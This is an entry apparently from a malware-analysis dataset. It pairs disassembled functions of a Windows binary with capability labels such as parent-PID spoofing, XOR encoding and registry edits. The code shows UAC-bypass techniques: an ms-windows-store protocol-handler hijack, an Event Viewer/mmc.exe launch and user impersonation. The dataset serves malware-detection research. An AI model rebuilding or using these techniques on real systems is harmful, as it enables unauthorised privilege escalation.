joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001683e
Capabilities:
Access pe header
Enumerate pe sections

Disassembly:
jmp 0x140037ac0
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x14007fb67]
call fcn.140016b68
mov byte [rbp + 4], 0
mov rcx, qword [rbp + 0x190]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x198], 0
je 0x140037b19
mov rax, qword [rbp + 0x198]
mov dword [rax], 0
cmp qword [rbp + 0x68], 0
jne 0x140037b27
xor eax, eax
jmp 0x140037bda
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x68]
movzx eax, word [rax + 6]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jbe 0x140037b92
mov eax, dword [rbp + 0x188]
mov rcx, qword [rbp + 0x88]
mov r8d, eax
mov rdx, qword [rbp + 0x180]
call fcn.1400164bf
test eax, eax
jne 0x140037b76
mov byte [rbp + 4], 1
jmp 0x140037b92
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x88]
add rax, 0x28
mov qword [rbp + 0x88], rax
jmp 0x140037b4a
movzx eax, byte [rbp + 4]
test eax, eax
jne 0x140037b9e
xor eax, eax
jmp 0x140037bda
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0xc]
mov rcx, qword [rbp + 0x190]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x198], 0
je 0x140037bd6
mov rax, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x88]
mov ecx, dword [rcx + 8]
mov dword [rax], ecx
mov rax, qword [rbp + 0x48]
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret
Function at 0x140016843
Capabilities:
Delete file

Disassembly:
jmp 0x140021810
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x738
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x136
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x758]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x708], rax
lea rcx, [0x14007ebd0]
call fcn.140016b68
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x64], 0xc0000022
mov qword [rbp + 0x88], 0
lea rcx, [rbp + 0x88]
call fcn.140016546
test eax, eax
jge 0x140021892
jmp 0x140021989
mov r9d, 1
lea r8, str.Wow64LogMessageArgList
mov edx, dword [rbp + 0x738]
mov rcx, qword [rbp + 0x730]
call fcn.1400166bd
test eax, eax
jne 0x1400218ba
jmp 0x140021989
mov edx, 0x410
lea rcx, [rbp + 0xb0]
call fcn.140016825
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.1400161f9
lea rdx, str.hui32
lea rcx, [rbp + 0xb0]
call fcn.140016af0
lea rdx, str..exe
lea rcx, [rbp + 0xb0]
call fcn.140016af0
mov r8d, dword [rbp + 0x738]
mov rdx, qword [rbp + 0x730]
lea rcx, [rbp + 0xb0]
call fcn.14001612c
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x140021932
jmp 0x140021989
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x14002194a
jmp 0x140021989
lea rdx, [rbp + 0x44]
mov rcx, 0xfffffffffffffffe
call fcn.140016334
test eax, eax
jne 0x140021960
jmp 0x140021989
cmp dword [rbp + 0x44], 2
jge 0x140021968
jmp 0x140021989
lea rcx, [rbp + 0xb0]
call fcn.140016bb3
test eax, eax
je 0x14002197f
mov dword [rbp + 0x64], 0
xor eax, eax
test eax, eax
jne 0x14002187d
cmp dword [rbp + 0x24], 0
je 0x140021995
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
cmp qword [rbp + 0x88], 0
je 0x1400219ac
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rbp + 4], 0
je 0x1400219bf
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [rbp + 0x64]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004b070]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x708]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x718]
pop rdi
pop rbp
ret
Function at 0x14001685c
Capabilities:
Hash data with crc32

Disassembly:
jmp 0x140021430
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x128]
lea rcx, [0x14007eacf]
call fcn.140016b68
nop
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x44504355
je 0x1400214b0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x55504355
je 0x1400214b0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x43504355
je 0x1400214b0
mov rax, qword [rbp + 0x100]
cmp dword [rax], 0x4b504355
je 0x1400214b0
xor eax, eax
jmp 0x140021558
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0xc]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x100]
mov dword [rax + 0xc], 0
mov r8d, 0x20
mov rdx, qword [rbp + 0x100]
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp eax, dword [rbp + 4]
je 0x1400214e9
xor eax, eax
jmp 0x140021558
mov rax, qword [rbp + 0x100]
cmp dword [rax + 4], 0
je 0x140021503
mov rax, qword [rbp + 0x100]
cmp dword [rax + 8], 0
jne 0x140021507
xor eax, eax
jmp 0x140021558
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 4], ecx
jbe 0x14002151d
xor eax, eax
jmp 0x140021558
mov rax, qword [rbp + 0x100]
mov ecx, dword [rbp + 0x108]
cmp dword [rax + 8], ecx
jbe 0x140021533
xor eax, eax
jmp 0x140021558
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x100]
mov ecx, dword [rcx + 4]
cmp dword [rax + 8], ecx
jbe 0x14002154d
xor eax, eax
jmp 0x140021558
jmp 0x140021553
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14004a920]
call fcn.1400169a6
mov rax, rdi
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x14001687f
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
jmp 0x140030c50
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x218
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x238]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x14007f5db]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000001
mov qword [rbp + 0x28], 0x30
mov edx, 0x18
lea rcx, [rbp + 0xd8]
call fcn.140016825
mov edx, 0x70
lea rcx, [rbp + 0x50]
call fcn.140016825
mov dword [rbp + 0x50], 0x70
cmp qword [rbp + 0x28], 0x400
jbe 0x140030ce2
jmp 0x140030e20
mov rcx, qword [rbp + 0x28]
call fcn.140016695
mov qword [rbp + 0xb8], rax
cmp qword [rbp + 0xb8], 0
je 0x140030e11
lea r9, [rbp + 0x28]
xor r8d, r8d
mov edx, 1
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140030dee
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x1e0]
mov r8d, 0x20000
xor edx, edx
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140030dee
mov dword [rbp + 0x8c], 1
mov eax, 5
mov word [rbp + 0x90], ax
mov rax, qword [0x140075c58]
add rax, 0x68
lea rcx, [rbp + 0xd8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1e8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140030dee
mov rcx, qword [rbp + 0xe0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
cmp qword [rbp + 0xb8], 0
je 0x140030e05
mov rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 0xb8]
call fcn.140016c1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
je 0x140030cd3
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x50]
lea rdx, [0x14005a440]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x14001689d
Capabilities:
Terminate process

Disassembly:
jmp 0x14003a810
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14007fb67]
call fcn.140016b68
mov dword [rbp + 4], 0
mov r9d, dword [rbp + 0x138]
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003a8b1
cmp dword [rbp + 0x140], 0
je 0x14003a8a0
mov edx, dword [rbp + 0x140]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14003a8a0
mov edx, 0x102
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 1
mov eax, dword [rbp + 4]
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x1400168a7
Capabilities:
Access pe header

Disassembly:
jmp 0x14003c220
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14007fb67]
call fcn.140016b68
mov edx, dword [rbp + 0x148]
mov rcx, qword [rbp + 0x140]
call fcn.140016668
mov dword [rbp + 0x44], eax
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x14003c27c
mov rax, qword [rbp + 8]
mov eax, dword [rax + 0x58]
mov dword [rbp + 0x24], eax
jmp 0x14003c285
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x24]
cmp dword [rbp + 0x44], eax
jne 0x14003c299
mov dword [rbp + 0x114], 1
jmp 0x14003c2a3
mov dword [rbp + 0x114], 0
movzx eax, byte [rbp + 0x114]
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x14001691f
Capabilities:
Delete file

Disassembly:
jmp 0x14002a4e0
push rbp
push rdi
sub rsp, 0x6f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x126
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x6c8], rax
lea rcx, [0x14007f0d4]
call fcn.140016b68
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.1400161f9
lea rcx, [rbp + 0x30]
call fcn.1400162a3
mov qword [rbp + 8], rax
lea rdx, str.kmkze.msc
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x698], rax
cmp qword [rbp + 0x698], 0x410
jae 0x14002a585
jmp 0x14002a58a
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x698]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.readme.html
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rax, qword [rbp + 8]
shl rax, 1
mov qword [rbp + 0x6b8], rax
cmp qword [rbp + 0x6b8], 0x410
jae 0x14002a5cf
jmp 0x14002a5d4
call fcn.140016857
xor eax, eax
mov rcx, qword [rbp + 0x6b8]
mov word [rbp + rcx + 0x30], ax
lea rdx, str.osk.exe
lea rcx, [rbp + 0x30]
call fcn.140016af0
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140053990]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x6c8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x6d8]
pop rdi
pop rbp
ret
Function at 0x140016924
Capabilities:
Delete registry value

Disassembly:
jmp 0x140038fe0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x228
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x248]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFormatCurrentUserKeyPath]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14003913a
mov dword [rbp + 0x68], 0x30
mov qword [rbp + 0x70], 0
mov dword [rbp + 0x80], 0x40
lea rax, [rbp + 0x118]
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x90], 0
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x14003912d
mov rdx, qword [rbp + 0x220]
lea rcx, [rbp + 0xb8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
mov rax, qword [rbp + 0x28]
mov qword [rbp + 0x70], rax
lea rax, [rbp + 0xb8]
mov qword [rbp + 0x78], rax
lea r8, [rbp + 0x68]
mov edx, 0x2000000
lea rcx, [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtOpenKey]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jl 0x140039123
mov rdx, qword [rbp + 0x228]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rdx, [rbp + 0xe8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtDeleteValueKey]
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, [rbp + 0x118]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysStringLen
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret

Function at 0x140016942
Capabilities:
Delete file

Disassembly:
jmp 0x140031660
push rbp
push rdi
sub rsp, 0x698
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x14007f6df]
call fcn.140016b68
mov edx, 0x410
lea rcx, [rbp + 0x10]
call fcn.140016825
mov rax, qword [0x140075c58]
add rax, 0x47c
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.1400161f9
lea rdx, str.update.msu
lea rcx, [rbp + 0x10]
call fcn.140016af0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x20]
lea rdx, [0x14005a680]
call fcn.1400169a6
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1400169ba
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140021370
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x148
lea rbp, [rsp + 0x20]
lea rcx, [0x14007eacf]
call fcn.140016b68
cmp qword [rbp + 0x140], 0
je 0x1400213ab
cmp dword [rbp + 0x148], 0
jne 0x1400213ad
jmp 0x1400213fb
mov eax, dword [rbp + 0x150]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 0x148]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
movzx eax, byte [rax]
xor eax, dword [rbp + 4]
mov rcx, qword [rbp + 0x48]
mov byte [rcx], al
mov eax, dword [rbp + 4]
rol eax, 1
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x48]
inc rax
mov qword [rbp + 0x48], rax
mov eax, dword [rbp + 0x24]
dec eax
mov dword [rbp + 0x24], eax
cmp dword [rbp + 0x24], 0
jne 0x1400213ca
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400169c4
Capabilities:
Delete file
Get common file path

Disassembly:
jmp 0x14002b050
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x778
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x146
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x798]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x748], rax
lea rcx, [0x14007f1da]
call fcn.140016b68
mov dword [rbp + 4], 0xc0000022
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov r9, qword [rbp + 0x770]
lea r8, str.pe386
xor edx, edx
xor ecx, ecx
call fcn.1400160d7
lea r9, [rbp + 0x88]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140066470]
call fcn.1400164e2
test eax, eax
jge 0x14002b0f6
jmp 0x14002b234
mov rcx, qword [rbp + 0x88]
call fcn.1400162a3
lea rax, [rax + rax + 0x208]
mov qword [rbp + 0xc8], rax
mov rcx, qword [rbp + 0xc8]
call fcn.140016695
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14002b133
jmp 0x14002b234
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0xa8]
call fcn.1400161f9
lea rdx, str.MicrosoftEvent_ViewerRecentViews
mov rcx, qword [rbp + 0xa8]
call fcn.140016af0
mov rax, qword [0x140075c58]
cmp dword [rax + 8], 0x23f0
jae 0x14002b17d
lea rax, [0x140054070]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x20eb
jmp 0x14002b18f
lea rax, [0x140053ae0]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x64], 0x583
mov r9d, 0x7a7a7a7a
mov r8d, dword [rbp + 0x64]
mov rdx, qword [rbp + 0x48]
mov rcx, qword [rbp + 0xa8]
call fcn.140016023
test eax, eax
jne 0x14002b1b2
jmp 0x14002b234
mov rax, qword [0x140075c58]
add rax, 0x272
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.1400161f9
lea rdx, str.mmc.exe
lea rcx, [rbp + 0xf0]
call fcn.140016af0
mov r9d, 5
xor r8d, r8d
lea rdx, str.eventvwr.msc
lea rcx, [rbp + 0xf0]
call fcn.140016118
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14002b22a
mov edx, 0xc350
lea rcx, str.mmc.exe
call fcn.1400169f1
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 4], 0
xor eax, eax
test eax, eax
jne 0x14002b0be
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
cmp qword [rbp + 0xa8], 0
je 0x14002b264
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbp + 0xa8]
call fcn.140016c1c
xor r9d, r9d
lea r8, str.pe386
xor edx, edx
mov ecx, 1
call fcn.1400160d7
mov eax, dword [rbp + 4]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0x748]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x758]
pop rdi
pop rbp
ret
Function at 0x140016a69
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Get file attributes

Disassembly:
jmp 0x140039ba0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0xa78
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1d6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa98]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0xa48], rax
lea rcx, [0x14007fb67]
call fcn.140016b68
mov dword [rbp + 4], 1
mov dword [rbp + 0x24], 1
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400165af
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039c48
mov r8d, 0x104
lea rdx, [0x140063d68]
lea rcx, [rbp + 0x2c0]
call fcn.140016983
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0xffffffffffffffff
je 0x140039d28
cmp dword [rbp + 4], 0
je 0x140039d28
mov r9d, 0x104
mov r8, qword [rbp + 0xa70]
mov edx, 0x104
lea rcx, [rbp + 0x90]
call fcn.1400165af
mov r8d, 0x104
lea rdx, [rbp + 0x51c]
lea rcx, [rbp + 0x90]
call fcn.140016983
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
je 0x140039cf5
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x51c]
cmp eax, 0x2e
je 0x140039cf5
lea rcx, [rbp + 0x90]
call fcn.140016a69
test eax, eax
jne 0x140039ce6
mov dword [rbp + 0x24], 0
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140039d0f
mov eax, dword [rbp + 0x4f0]
and eax, 0x10
test eax, eax
jne 0x140039d0f
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [rbp + 0x4f0]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
mov dword [rbp + 4], eax
jmp 0x140039c60
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x44]
and eax, 0x10
test eax, eax
je 0x140039d64
mov rcx, qword [rbp + 0xa70]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140039d64
mov dword [rbp + 0x24], 0
mov eax, dword [rbp + 0x24]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x140063240]
call fcn.1400169a6
mov eax, edi
mov rcx, qword [rbp + 0xa48]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0xa58]
pop rdi
pop rbp
ret
Function at 0x140016a6e
Capabilities:
Set registry value

Disassembly:
jmp 0x140027a90
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x488
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xae
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x4a8]
mov rax, qword [0x140075340]
xor rax, rbp
mov qword [rbp + 0x428], rax
lea rcx, [0x14007edd2]
call fcn.140016b68
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 8]
xor ecx, ecx
call fcn.14001675d
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
jge 0x140027b05
mov eax, dword [rbp + 0x44]
jmp 0x140027c88
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ms_windows_store
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027b80
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 1
xor r8d, r8d
lea rdx, str.URL_Protocol
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.ms_windows_store
lea rcx, [rbp + 0x90]
call fcn.1400161f9
lea rdx, str._shellopen
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, [0x14004e5a0]
lea rcx, [rbp + 0x90]
call fcn.140016af0
lea rdx, str.command
lea rcx, [rbp + 0x90]
call fcn.140016af0
mov qword [rsp + 0x40], 0
lea rax, [rbp + 0x28]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x2000000
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x90]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140027c74
mov rcx, qword [rbp + 0x450]
call fcn.1400162a3
lea rax, [rax + rax + 2]
mov qword [rbp + 0x68], rax
mov eax, dword [rbp + 0x68]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x450]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14004e79c]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x140027c61
mov dword [rbp + 0x44], 0
jmp 0x140027c68
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140027c7b
mov dword [rbp + 0x44], 0xc000014d
mov rcx, qword [rbp + 8]
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, dword [rbp + 0x44]
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14004dd10]
call fcn.1400169a6
mov rax, rdi
mov rcx, qword [rbp + 0x428]
xor rcx, rbp
call fcn.1400165b9
lea rsp, [rbp + 0x438]
pop rdi
pop rbp
ret